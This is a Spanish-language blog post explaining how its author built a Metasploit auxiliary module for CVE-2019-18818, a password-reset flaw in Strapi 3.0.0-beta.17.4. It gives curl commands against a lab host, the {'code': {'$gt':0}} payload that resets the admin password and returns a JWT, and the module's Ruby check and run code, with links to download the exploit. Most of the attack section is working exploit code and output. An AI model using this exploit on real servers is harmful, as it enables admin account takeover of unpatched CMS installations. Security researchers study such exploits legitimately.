CVE-2019-18818 (Metasploit) + POC
Hace relativamente poco comencé en la creación de módulos auxiliares y exploits para Metasploit Framework y me gustaría compartir mi experiencia en mi primer módulo auxiliar del CVE-2019-18818.
Antes de comenzar a explicar de que se compone el módulo, un breve resumen sobre que es CVE-2019-18818. Esta vulnerabilidad fue publicada en la NATIONAL VULNERABILITY DATABASE (NVD) el 11 de julio de 2019, dicha falla maneja mal el restablecimiento de la contraseña en packages/strapi-admin/controllers/Auth.js
y packages/strapi-plugin-users-permissions/controllers/Auth.js
en Strapi 3.0.0-beta.17.4, por ende esto permite cambiar la contraseña de un usuario privilegiado y asimismo garantizar el acceso no autorizado al CMS, de ahi que fue catalogada como CRÍTICA por su gravedad y fácil explotación.
Por si no fuera poco, tiempo después, el 5 de diciembre de 2019 fue encontrado el CVE-2019-19609 en Strapi 3.0.0-beta.17.8, a diferencia del CVE-2019-18818, esta permitía la ejecución de código arbitrario por un usuario autenticado.
A todo esto, usar la beta de Strapi CMS en versiones desactualizadas da oportunidad a un atacante a comprometerte.
Ahora bien, como se explota?, pues bien, es muy fácil, enviaremos datos JSON al servidor a una ruta específica del CMS y ganaremos acceso como un usuario legítimo volcando un JSON Web Token.
Primeramente, es verificar si la versión que se está empleando en Strapi es vulnerable, es decir anteriores a la 3.0.0-beta.17.5, por ello podemos enviar datos JSON mediante una petición GET al servidor en ‘/admin/init’ especificando a la cabecera Content-Type
que estamos enviando datos en JSON, esto lo podemos hacer de la siguiente manera con curl
.
┌──(root💀kali)-[/home/kali]
└─$ curl -X GET http://api-prod.horizontall.htb/admin/init -H 'Content-type: application/json' -s | jq
{
"data": {
"uuid": "a55da3bd-9693-4a08-9279-f9df57fd1817",
"currentEnvironment": "development",
"autoReload": false,
"strapiVersion": "3.0.0-beta.17.4"
}
}
En el módulo auxiliar de Metasploit, implemente esta funcionalidad en la función check
.
def check
res = send_request_raw({ 'uri' => '/admin/init' })
version = JSON.parse(res.body)
if version["data"]["strapiVersion"] == '3.0.0-beta.17.4'
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
Hago uso de send_request_raw
para enviar una petición GET, seguidamente parseo la data en JSON de la respuesta del servidor con JSON.parse
y la guardo en la variable version
, defino una condición, if version["data"]["strapiVersion"] == '3.0.0-beta.17.4'
, extraigo strapiVersion de la variable versión que contiene la versión y hace una comparacion, si strapiVersion es igual a ‘3.0.0-beta.17.4’, entonces el servidor es vulnerable, por lo cual devuelvo return Exploit::CheckCode::Vulnerable
, de lo contrario retorno return Exploit::CheckCode::Safe
.
Hasta ahora esto ha sido para verificar que el servidor sea vulnerable, ahora vayamos con la explotación de la vulnerabilidad.
Enviaremos una petición POST a /admin/auth/reset-password
y especificaremos los siguientes datos en JSON:
{
"code": {"$gt:0"}, # Bypass WAF
"password": "Newpass123", # Nueva contraseña
"passwordConfirmation": "Newpass123" # Confirmacion nueva contraseña
}
Lo podemos hacer con curl
de esta manera:
┌──(root💀kali)-[/home/kali]
└─# curl -X POST -H 'Content-type: application/json' http://api-prod.horizontall.htb/admin/auth/reset-password -d '{"code": {"$gt":0},"password":"pas","passwordConfirmation":"pas"}' -s | jq
{
"jwt": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjQ0NDQ0MjI0LCJleHAiOjE2NDcwMzYyMjR9.il6oFUjKXH7ke_uOVqM99quXU9qOyfKKY30ihgG21I4",
"user": {
"id": 3,
"username": "admin",
"email": "admin@horizontall.htb",
"blocked": null
}
}
La respuesta nos muestra un JWT valido del usuario admin que puede ser usado mas tarde.
Este seria el codigo en el modulo de Metasploit.
def run
json_body = { 'code' => {'$gt' => 0},
'password' => datastore['NEW_PASSWORD'],
'passwordConfirmation' => datastore['NEW_PASSWORD'] }
res = send_request_cgi({
'method' => 'POST',
'uri' => '/admin/auth/reset-password',
'ctype' => 'application/json',
'data' => JSON.generate(json_body)
})
print_status("Changing password...")
json_format = JSON.parse(res.body)
jwt = json_format['jwt']
if res.code == 200
print_good("Password changed successfully!")
print_good("USER: admin")
print_good("PASSWORD: #{datastore['NEW_PASSWORD']}")
print_good("JWT: #{jwt}")
else
fail_with(Failure::NoAccess"Could not change admin user password")
end
end
Comienzo definiendo mi data JSON en formato Ruby concatenando los datos del usuario, la guardo en la variable json_body
y envió una petición POST usando send_request_cgi
, genero mi data JSON válida con JSON.generate(json_body)
en la peticion, guardo la petición en la variable res
y parseo la data de esta con JSON.parse(res.body)
, la almaceno en json_format
y después guardo el parámetro JWT que contiene el JSON Web Token del usuario admin en la variable jwt = json_format['jwt']
y hago una comparación, if res.code == 200
, es decir si la respuesta del código de estado de lado del servidor es 200 OK, quiere decir que la contraseña se cambió con éxito y te muestra la contraseña, el usuario y el JWT nuevos del usuario admin, de lo contrario muestro Could not change admin user password.
Exploit download: ExploitDB or Packet Storm
POC
Leave a comment